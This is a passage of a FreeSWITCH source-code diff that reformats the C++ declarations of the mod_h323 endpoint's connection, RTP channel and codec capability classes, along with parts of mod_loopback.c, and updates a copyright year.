- list <FSListener> m_listeners;
+ return m_freeswitch;
+ } FSH323Connection *FSMakeCall(const PString & dest, void *userData);
+ list < FSListener > m_listeners;
int m_ai;
int m_pi;
- protected:
- PStringList m_gkPrefixes;
- switch_endpoint_interface_t *m_freeswitch;
- PString m_gkAddress;
- PString m_gkIdentifer;
- PString m_gkInterface;
- bool m_faststart;
- bool m_h245tunneling;
- bool m_h245insetup;
- int m_gkretry;
- FSGkRegThread* m_thread;
+ protected:
+ PStringList m_gkPrefixes;
+ switch_endpoint_interface_t *m_freeswitch;
+ PString m_gkAddress;
+ PString m_gkIdentifer;
+ PString m_gkInterface;
+ bool m_faststart;
+ bool m_h245tunneling;
+ bool m_h245insetup;
+ int m_gkretry;
+ FSGkRegThread *m_thread;
};
-class FSGkRegThread : public PThread
-{
- PCLASSINFO(FSGkRegThread, PThread);
-public:
- FSGkRegThread(FSH323EndPoint* endpoint, PString* gkAddress, PString* gkIdentifer, PString* gkInterface, int retry = 0)
- : PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress),m_gkIdentifer(gkIdentifer),m_gkInterface(gkInterface)
- { }
- void Main()
- { m_ep->StartGkClient(m_retry,m_gkAddress,m_gkIdentifer,m_gkInterface); }
-protected:
- FSH323EndPoint* m_ep;
- int m_retry;
- PString* m_gkAddress;
- PString* m_gkIdentifer;
- PString* m_gkInterface;
+class FSGkRegThread:public PThread {
+ PCLASSINFO(FSGkRegThread, PThread);
+ public:
+ FSGkRegThread(FSH323EndPoint * endpoint, PString * gkAddress, PString * gkIdentifer, PString * gkInterface, int retry = 0)
+ : PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress), m_gkIdentifer(gkIdentifer), m_gkInterface(gkInterface) {
+ } void Main() {
+ m_ep->StartGkClient(m_retry, m_gkAddress, m_gkIdentifer, m_gkInterface);
+ }
+ protected:
+ FSH323EndPoint * m_ep;
+ int m_retry;
+ PString *m_gkAddress;
+ PString *m_gkIdentifer;
+ PString *m_gkInterface;
};
class FSH323Connection:public H323Connection {
- PCLASSINFO(FSH323Connection, H323Connection)
+ PCLASSINFO(FSH323Connection, H323Connection)
public:
- FSH323Connection(FSH323EndPoint& endpoint,
- H323Transport* transport,
- unsigned callReference,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t *fsSession,
- switch_channel_t *fsChannel);
+ FSH323Connection(FSH323EndPoint & endpoint,
+ H323Transport * transport,
+ unsigned callReference, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
- ~FSH323Connection();
+ ~FSH323Connection();
- virtual H323Channel* CreateRealTimeLogicalChannel(
- const H323Capability& capability,
- H323Channel::Directions dir,
- unsigned sessionID,
- const H245_H2250LogicalChannelParameters* param,
- RTP_QOS * rtpqos = NULL
- );
- virtual PBoolean OnStartLogicalChannel(H323Channel& channel);
- virtual PBoolean OnCreateLogicalChannel(const H323Capability& capability, H323Channel::Directions dir, unsigned& errorCode);
- virtual bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
- virtual bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
+ virtual H323Channel *CreateRealTimeLogicalChannel(const H323Capability & capability,
+ H323Channel::Directions dir,
+ unsigned sessionID, const H245_H2250LogicalChannelParameters * param, RTP_QOS * rtpqos = NULL);
+ virtual PBoolean OnStartLogicalChannel(H323Channel & channel);
+ virtual PBoolean OnCreateLogicalChannel(const H323Capability & capability, H323Channel::Directions dir, unsigned &errorCode);
+ virtual bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
+ virtual bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
virtual void OnReceivedReleaseComplete(const H323SignalPDU & pdu);
- virtual bool OnReceivedProgress(const H323SignalPDU &);
+ virtual bool OnReceivedProgress(const H323SignalPDU &);
virtual bool OnSendCallProceeding(H323SignalPDU & callProceedingPDU);
virtual bool OnSendReleaseComplete(H323SignalPDU & pdu);
- virtual PBoolean OpenLogicalChannel(const H323Capability& capability, unsigned sessionID, H323Channel::Directions dir);
- void setRemoteAddress(const char* remoteIP, WORD remotePort);
+ virtual PBoolean OpenLogicalChannel(const H323Capability & capability, unsigned sessionID, H323Channel::Directions dir);
+ void setRemoteAddress(const char *remoteIP, WORD remotePort);
virtual void OnSetLocalCapabilities();
- virtual bool OnAlerting(const H323SignalPDU &alertingPDU, const PString &user);
+ virtual bool OnAlerting(const H323SignalPDU & alertingPDU, const PString & user);
virtual void AnsweringCall(AnswerCallResponse response);
virtual void OnEstablished();
bool SetLocalCapabilities();
- static bool decodeCapability(const H323Capability& capability, const char** dataFormat, int* payload = 0, PString* capabName = 0);
- virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString& caller,
- const H323SignalPDU& signalPDU, H323SignalPDU& connectPDU);
+ static bool decodeCapability(const H323Capability & capability, const char **dataFormat, int *payload = 0, PString * capabName = 0);
+ virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString & caller, const H323SignalPDU & signalPDU, H323SignalPDU & connectPDU);
virtual bool OnReceivedCapabilitySet(const H323Capabilities & remoteCaps,
- const H245_MultiplexCapability * muxCap,
- H245_TerminalCapabilitySetReject & reject);
+ const H245_MultiplexCapability * muxCap, H245_TerminalCapabilitySetReject & reject);
switch_core_session_t *GetSession() const {
- return m_fsSession;
- }
- virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
+ return m_fsSession;
+ } virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
virtual void OnUserInputTone(char, unsigned, unsigned, unsigned);
- virtual void OnUserInputString(const PString &value);
- DECLARE_CALLBACK0(on_init);
- DECLARE_CALLBACK0(on_routing);
- DECLARE_CALLBACK0(on_execute);
+ virtual void OnUserInputString(const PString & value);
+ DECLARE_CALLBACK0(on_init);
+ DECLARE_CALLBACK0(on_routing);
+ DECLARE_CALLBACK0(on_execute);
- DECLARE_CALLBACK0(on_exchange_media);
- DECLARE_CALLBACK0(on_soft_execute);
+ DECLARE_CALLBACK0(on_exchange_media);
+ DECLARE_CALLBACK0(on_soft_execute);
- DECLARE_CALLBACK1(kill_channel, int, sig);
- DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
- DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
- DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
- DECLARE_CALLBACK0(state_change);
+ DECLARE_CALLBACK1(kill_channel, int, sig);
+ DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
+ DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
+ DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
+ DECLARE_CALLBACK0(state_change);
- DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
- DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
-
+ DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
+ DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
+ DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
+ DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
+
bool m_callOnPreAnswer;
bool m_startRTP;
bool m_rxChennel;
@@ -263,44 +244,38 @@
bool m_ChennelAnswer;
bool m_ChennelProgress;
PSyncPoint m_rxAudioOpened;
- PSyncPoint m_txAudioOpened;
+ PSyncPoint m_txAudioOpened;
protected:
- FSH323EndPoint * m_endpoint;
+ FSH323EndPoint * m_endpoint;
PString m_remoteAddr;
- int m_remotePort;
+ int m_remotePort;
switch_core_session_t *m_fsSession;
- switch_channel_t *m_fsChannel;
- PIPSocket::Address m_RTPlocalIP;
+ switch_channel_t *m_fsChannel;
+ PIPSocket::Address m_RTPlocalIP;
WORD m_RTPlocalPort;
unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
};
-class FSH323_ExternalRTPChannel : public H323_ExternalRTPChannel{
- PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
-public:
- /* Create a new channel. */
- FSH323_ExternalRTPChannel(
- FSH323Connection& connection,
- const H323Capability& capability,
- Directions direction,
- unsigned sessionID,
- const PIPSocket::Address& ip,
- WORD dataPort
- );
- /* Destructor */
- ~FSH323_ExternalRTPChannel();
+class FSH323_ExternalRTPChannel:public H323_ExternalRTPChannel {
+ PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
+ public:
+ /* Create a new channel. */
+ FSH323_ExternalRTPChannel(FSH323Connection & connection,
+ const H323Capability & capability, Directions direction, unsigned sessionID, const PIPSocket::Address & ip, WORD dataPort);
+ /* Destructor */
+ ~FSH323_ExternalRTPChannel();
- virtual PBoolean Start();
- virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters& param);
- virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters& param);
- virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters& param,unsigned& errorCode);
- virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters& param);
-
+ virtual PBoolean Start();
+ virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters & param);
+ virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters & param);
+ virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters & param, unsigned &errorCode);
+ virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters & param);
-private:
- FSH323Connection* m_conn;
- const H323Capability* m_capability;
+
+ private:
+ FSH323Connection * m_conn;
+ const H323Capability *m_capability;
switch_core_session_t *m_fsSession;
switch_channel_t *m_fsChannel;
switch_codec_t *m_switchCodec;
@@ -312,124 +287,95 @@
PString m_RTPlocalIP;
WORD m_RTPlocalPort;
BYTE payloadCode;
-
+
};
-class BaseG7231Capab : public H323AudioCapability
-{
- PCLASSINFO(BaseG7231Capab, H323AudioCapability);
-public:
- BaseG7231Capab(const char* fname, bool annexA = true)
- : H323AudioCapability(7,4), m_name(fname), m_aa(annexA)
- { }
-
- virtual PObject* Clone() const{
- return new BaseG7231Capab(*this);
- }
-
- virtual unsigned GetSubType() const{
- return H245_AudioCapability::e_g7231;
- }
-
- virtual PString GetFormatName() const{
- return m_name;
- }
-
- virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
- return 0;
- }
-
- virtual Comparison Compare(const PObject& obj) const{
- Comparison res = H323AudioCapability::Compare(obj);
- if (res != EqualTo)
- return res;
- bool aa = static_cast<const BaseG7231Capab&>(obj).m_aa;
- if (aa && !m_aa)
- return LessThan;
- if (m_aa && !aa)
- return GreaterThan;
- return EqualTo;
- }
-
- virtual bool OnSendingPDU(H245_AudioCapability& pdu, unsigned packetSize) const {
- pdu.SetTag(GetSubType());
- H245_AudioCapability_g7231& g7231 = pdu;
- g7231.m_maxAl_sduAudioFrames = packetSize;
- g7231.m_silenceSuppression = m_aa;
- return true;
- }
-
- virtual bool OnReceivedPDU(const H245_AudioCapability& pdu, unsigned& packetSize){
- if (pdu.GetTag() != H245_AudioCapability::e_g7231)
+class BaseG7231Capab:public H323AudioCapability {
+ PCLASSINFO(BaseG7231Capab, H323AudioCapability);
+ public:
+ BaseG7231Capab(const char *fname, bool annexA = true)
+ : H323AudioCapability(7, 4), m_name(fname), m_aa(annexA) {
+ } virtual PObject *Clone() const {
+ return new BaseG7231Capab(*this);
+ } virtual unsigned GetSubType() const {
+ return H245_AudioCapability::e_g7231;
+ } virtual PString GetFormatName() const {
+ return m_name;
+ } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
+ return 0;
+ } virtual Comparison Compare(const PObject & obj) const {
+ Comparison res = H323AudioCapability::Compare(obj);
+ if (res != EqualTo)
+ return res;
+ bool aa = static_cast < const BaseG7231Capab & >(obj).m_aa;
+ if (aa && !m_aa)
+ return LessThan;
+ if (m_aa && !aa)
+ return GreaterThan;
+ return EqualTo;
+ } virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
+ pdu.SetTag(GetSubType());
+ H245_AudioCapability_g7231 & g7231 = pdu;
+ g7231.m_maxAl_sduAudioFrames = packetSize;
+ g7231.m_silenceSuppression = m_aa;
+ return true;
+ } virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
+ if (pdu.GetTag() != H245_AudioCapability::e_g7231)
return false;
- const H245_AudioCapability_g7231& g7231 = pdu;
- packetSize = g7231.m_maxAl_sduAudioFrames;
- m_aa = (g7231.m_silenceSuppression != 0);
- return true;
+ const H245_AudioCapability_g7231 & g7231 = pdu;
+ packetSize = g7231.m_maxAl_sduAudioFrames;
+ m_aa = (g7231.m_silenceSuppression != 0);
+ return true;
}
-protected:
- const char* m_name;
- bool m_aa;
+ protected:
+ const char *m_name;
+ bool m_aa;
};
-class BaseG729Capab : public H323AudioCapability
-{
- PCLASSINFO(BaseG729Capab, H323AudioCapability);
-public:
- BaseG729Capab(const char* fname, unsigned type = H245_AudioCapability::e_g729)
- : H323AudioCapability(24,6), m_name(fname), m_type(type)
- { }
- virtual PObject* Clone() const
- // default copy constructor - take care!
- { return new BaseG729Capab(*this); }
- virtual unsigned GetSubType() const
- { return m_type; }
- virtual PString GetFormatName() const
- { return m_name; }
- virtual H323Codec* CreateCodec(H323Codec::Direction direction) const
- { return 0; }
-protected:
- const char* m_name;
- unsigned m_type;
+class BaseG729Capab:public H323AudioCapability {
+ PCLASSINFO(BaseG729Capab, H323AudioCapability);
+ public:
+ BaseG729Capab(const char *fname, unsigned type = H245_AudioCapability::e_g729)
+ : H323AudioCapability(24, 6), m_name(fname), m_type(type) {
+ } virtual PObject *Clone() const
+ // default copy constructor - take care!
+ {
+ return new BaseG729Capab(*this);
+ } virtual unsigned GetSubType() const {
+ return m_type;
+ } virtual PString GetFormatName() const {
+ return m_name;
+ } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
+ return 0;
+ } protected:
+ const char *m_name;
+ unsigned m_type;
};
-class BaseGSM0610Cap : public H323AudioCapability
-{
+class BaseGSM0610Cap:public H323AudioCapability {
PCLASSINFO(BaseGSM0610Cap, H323AudioCapability);
-public:
-
- BaseGSM0610Cap(const char* fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
- : H323AudioCapability(24,2), m_name(fname), m_type(type),m_comfortNoise(0),m_scrambled(0)
- { }
-
- virtual PObject * Clone() const{
- return new BaseGSM0610Cap(*this);
- }
+ public:
- virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
+ BaseGSM0610Cap(const char *fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
+ : H323AudioCapability(24, 2), m_name(fname), m_type(type), m_comfortNoise(0), m_scrambled(0) {
+ } virtual PObject *Clone() const {
+ return new BaseGSM0610Cap(*this);
+ } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
return 0;
- }
-
- virtual unsigned GetSubType() const{
+ } virtual unsigned GetSubType() const {
return H245_AudioCapability::e_gsmFullRate;
- }
-
- virtual PString GetFormatName() const{
+ } virtual PString GetFormatName() const {
return m_name;
- }
-
- virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const{
+ } virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
pdu.SetTag(H245_AudioCapability::e_gsmFullRate);
H245_GSMAudioCapability & gsm = pdu;
gsm.m_audioUnitSize = packetSize * 33;
gsm.m_comfortNoise = m_comfortNoise;
gsm.m_scrambled = m_scrambled;
return true;
- }
-
- virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned & packetSize){
+ } virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
PTRACE(2, "mod_h323\t==============>BaseGSM0610Cap::OnReceivedPDU");
if (pdu.GetTag() != H245_AudioCapability::e_gsmFullRate)
return false;
@@ -440,8 +386,8 @@
return true;
}
-protected:
- const char* m_name;
+ protected:
+ const char *m_name;
int m_comfortNoise;
int m_scrambled;
unsigned m_type;
@@ -458,15 +404,15 @@
-DEFINE_H323_CAPAB(FS_G7231_5,BaseG7231Capab,false,OPAL_G7231_5k3"{sw}")
-DEFINE_H323_CAPAB(FS_G7231_6,BaseG7231Capab,false,OPAL_G7231_6k3"{sw}")
-DEFINE_H323_CAPAB(FS_G7231A_5,BaseG7231Capab,true,OPAL_G7231A_5k3"{sw}")
-DEFINE_H323_CAPAB(FS_G7231A_6,BaseG7231Capab,true,OPAL_G7231A_6k3"{sw}")
-DEFINE_H323_CAPAB(FS_G729,BaseG729Capab,H245_AudioCapability::e_g729,OPAL_G729"{sw}")
-DEFINE_H323_CAPAB(FS_G729A,BaseG729Capab,H245_AudioCapability::e_g729AnnexA,OPAL_G729A"{sw}")
-DEFINE_H323_CAPAB(FS_G729B,BaseG729Capab,H245_AudioCapability::e_g729wAnnexB,OPAL_G729B"{sw}")
-DEFINE_H323_CAPAB(FS_G729AB,BaseG729Capab,H245_AudioCapability::e_g729AnnexAwAnnexB,OPAL_G729AB"{sw}")
-DEFINE_H323_CAPAB(FS_GSM,BaseGSM0610Cap,H245_AudioCapability::e_gsmFullRate,OPAL_GSM0610"{sw}")
+DEFINE_H323_CAPAB(FS_G7231_5, BaseG7231Capab, false, OPAL_G7231_5k3 "{sw}")
+ DEFINE_H323_CAPAB(FS_G7231_6, BaseG7231Capab, false, OPAL_G7231_6k3 "{sw}")
+ DEFINE_H323_CAPAB(FS_G7231A_5, BaseG7231Capab, true, OPAL_G7231A_5k3 "{sw}")
+ DEFINE_H323_CAPAB(FS_G7231A_6, BaseG7231Capab, true, OPAL_G7231A_6k3 "{sw}")
+ DEFINE_H323_CAPAB(FS_G729, BaseG729Capab, H245_AudioCapability::e_g729, OPAL_G729 "{sw}")
+ DEFINE_H323_CAPAB(FS_G729A, BaseG729Capab, H245_AudioCapability::e_g729AnnexA, OPAL_G729A "{sw}")
+ DEFINE_H323_CAPAB(FS_G729B, BaseG729Capab, H245_AudioCapability::e_g729wAnnexB, OPAL_G729B "{sw}")
+ DEFINE_H323_CAPAB(FS_G729AB, BaseG729Capab, H245_AudioCapability::e_g729AnnexAwAnnexB, OPAL_G729AB "{sw}")
+ DEFINE_H323_CAPAB(FS_GSM, BaseGSM0610Cap, H245_AudioCapability::e_gsmFullRate, OPAL_GSM0610 "{sw}")
-static FSProcess *h323_process = NULL;
+ static FSProcess *h323_process = NULL;
Modified: freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -97,7 +97,8 @@
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -116,7 +117,7 @@
rate = codec->implementation->samples_per_second;
interval = codec->implementation->microseconds_per_packet / 1000;
}
-
+
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
switch_core_codec_destroy(&tech_pvt->read_codec);
}
@@ -125,17 +126,13 @@
switch_core_codec_destroy(&tech_pvt->write_codec);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate, interval);
-
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate,
+ interval);
+
status = switch_core_codec_init(&tech_pvt->read_codec,
iananame,
NULL,
- rate,
- interval,
- 1,
- SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
- NULL,
- switch_core_session_get_pool(session));
+ rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
if (status != SWITCH_STATUS_SUCCESS || !tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
goto end;
@@ -144,14 +141,9 @@
status = switch_core_codec_init(&tech_pvt->write_codec,
iananame,
NULL,
- rate,
- interval,
- 1,
- SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
- NULL,
- switch_core_session_get_pool(session));
-
+ rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
+
if (status != SWITCH_STATUS_SUCCESS) {
switch_core_codec_destroy(&tech_pvt->read_codec);
goto end;
@@ -160,31 +152,29 @@
tech_pvt->read_frame.data = tech_pvt->databuf;
tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
tech_pvt->read_frame.codec = &tech_pvt->read_codec;
-
+
tech_pvt->cng_frame.data = tech_pvt->cng_databuf;
tech_pvt->cng_frame.buflen = sizeof(tech_pvt->cng_databuf);
//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
tech_pvt->cng_frame.datalen = 2;
- tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
- tech_pvt->read_codec.implementation->samples_per_packet) * 3;
+ tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
+ tech_pvt->read_codec.implementation->samples_per_packet) * 3;
switch_core_session_set_read_codec(session, &tech_pvt->read_codec);
switch_core_session_set_write_codec(session, &tech_pvt->write_codec);
-
+
if (tech_pvt->flag_mutex) {
switch_core_timer_destroy(&tech_pvt->timer);
}
read_impl = tech_pvt->read_codec.implementation;
- switch_core_timer_init(&tech_pvt->timer, "soft",
- read_impl->microseconds_per_packet / 1000,
- read_impl->samples_per_packet *4,
- switch_core_session_get_pool(session));
-
+ switch_core_timer_init(&tech_pvt->timer, "soft",
+ read_impl->microseconds_per_packet / 1000, read_impl->samples_per_packet * 4, switch_core_session_get_pool(session));
+
if (!tech_pvt->flag_mutex) {
switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
@@ -194,7 +184,7 @@
tech_pvt->channel = switch_core_session_get_channel(session);
}
- end:
+ end:
return status;
}
@@ -217,22 +207,22 @@
channel = switch_core_session_get_channel(session);
switch_assert(channel != NULL);
-
+
if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND) && !switch_test_flag(tech_pvt, TFLAG_BLEG)) {
-
+
if (!(b_session = switch_core_session_request(loopback_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
goto end;
}
-
+
if (switch_core_session_read_lock(b_session) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
switch_core_session_destroy(&b_session);
goto end;
}
-
+
switch_core_session_add_stream(b_session, NULL);
b_channel = switch_core_session_get_channel(b_session);
b_tech_pvt = (private_t *) switch_core_session_alloc(b_session, sizeof(*b_tech_pvt));
@@ -244,7 +234,7 @@
switch_core_session_destroy(&b_session);
goto end;
}
-
+
caller_profile = switch_caller_profile_clone(b_session, tech_pvt->caller_profile);
caller_profile->source = switch_core_strdup(caller_profile->pool, modname);
switch_channel_set_caller_profile(b_channel, caller_profile);
@@ -260,16 +250,16 @@
//b_tech_pvt->other_channel = channel;
b_tech_pvt->other_uuid = switch_core_session_strdup(b_session, switch_core_session_get_uuid(session));
-
+
switch_set_flag_locked(tech_pvt, TFLAG_LINKED);
switch_set_flag_locked(b_tech_pvt, TFLAG_LINKED);
switch_set_flag_locked(b_tech_pvt, TFLAG_BLEG);
-
- switch_channel_set_flag(channel, CF_ACCEPT_CNG);
+
+ switch_channel_set_flag(channel, CF_ACCEPT_CNG);
//switch_ivr_transfer_variable(session, tech_pvt->other_session, "process_cdr");
switch_ivr_transfer_variable(session, tech_pvt->other_session, NULL);
-
+
switch_channel_set_variable(channel, "other_loopback_leg_uuid", switch_channel_get_uuid(b_channel));
switch_channel_set_variable(b_channel, "other_loopback_leg_uuid", switch_channel_get_uuid(channel));
@@ -279,10 +269,10 @@
goto end;
}
} else if ((tech_pvt->other_session = switch_core_session_locate(tech_pvt->other_uuid))) {
- tech_pvt->other_tech_pvt = switch_core_session_get_private(tech_pvt->other_session);
+ tech_pvt->other_tech_pvt = switch_core_session_get_private(tech_pvt->other_session);
tech_pvt->other_channel = switch_core_session_get_channel(tech_pvt->other_session);
}
-
+
if (!tech_pvt->other_session) {
switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -292,7 +282,7 @@
switch_channel_set_variable(channel, "loopback_leg", switch_test_flag(tech_pvt, TFLAG_BLEG) ? "B" : "A");
switch_channel_set_state(channel, CS_ROUTING);
- end:
+ end:
return SWITCH_STATUS_SUCCESS;
}
@@ -301,7 +291,7 @@
{
switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
switch_set_flag_locked(tech_pvt, TFLAG_CNG);
-
+
switch_mutex_lock(tech_pvt->mutex);
if (tech_pvt->other_tech_pvt) {
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
@@ -333,14 +323,14 @@
extension = switch_caller_extension_new(session, app, app);
switch_caller_extension_add_application(session, extension, "pre_answer", NULL);
switch_caller_extension_add_application(session, extension, app, arg);
-
+
switch_channel_set_caller_extension(channel, extension);
switch_channel_set_state(channel, CS_EXECUTE);
return SWITCH_STATUS_FALSE;
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -356,7 +346,7 @@
assert(tech_pvt != NULL);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(channel));
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -373,11 +363,11 @@
if (tech_pvt) {
switch_core_timer_destroy(&tech_pvt->timer);
-
+
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
switch_core_codec_destroy(&tech_pvt->read_codec);
}
-
+
if (switch_core_codec_ready(&tech_pvt->write_codec)) {
switch_core_codec_destroy(&tech_pvt->write_codec);
}
@@ -416,7 +406,7 @@
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_LINKED);
tech_pvt->other_tech_pvt = NULL;
}
-
+
if (tech_pvt->other_session) {
switch_channel_hangup(tech_pvt->other_channel, switch_channel_get_cause(channel));
switch_core_session_rwunlock(tech_pvt->other_session);
@@ -424,7 +414,7 @@
tech_pvt->other_session = NULL;
}
switch_mutex_unlock(tech_pvt->mutex);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -494,7 +484,8 @@
switch_assert(tech_pvt != NULL);
do_reset(tech_pvt);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -503,7 +494,8 @@
{
switch_assert(switch_core_session_get_private(session));
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -555,15 +547,15 @@
if (!switch_test_flag(tech_pvt, TFLAG_LINKED)) {
goto end;
}
-
+
*frame = NULL;
-
+
if (!switch_channel_ready(channel)) {
goto end;
}
switch_core_timer_next(&tech_pvt->timer);
-
+
mutex = tech_pvt->mutex;
switch_mutex_lock(mutex);
@@ -578,7 +570,7 @@
} else {
switch_set_flag(tech_pvt, TFLAG_CNG);
}
-
+
if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
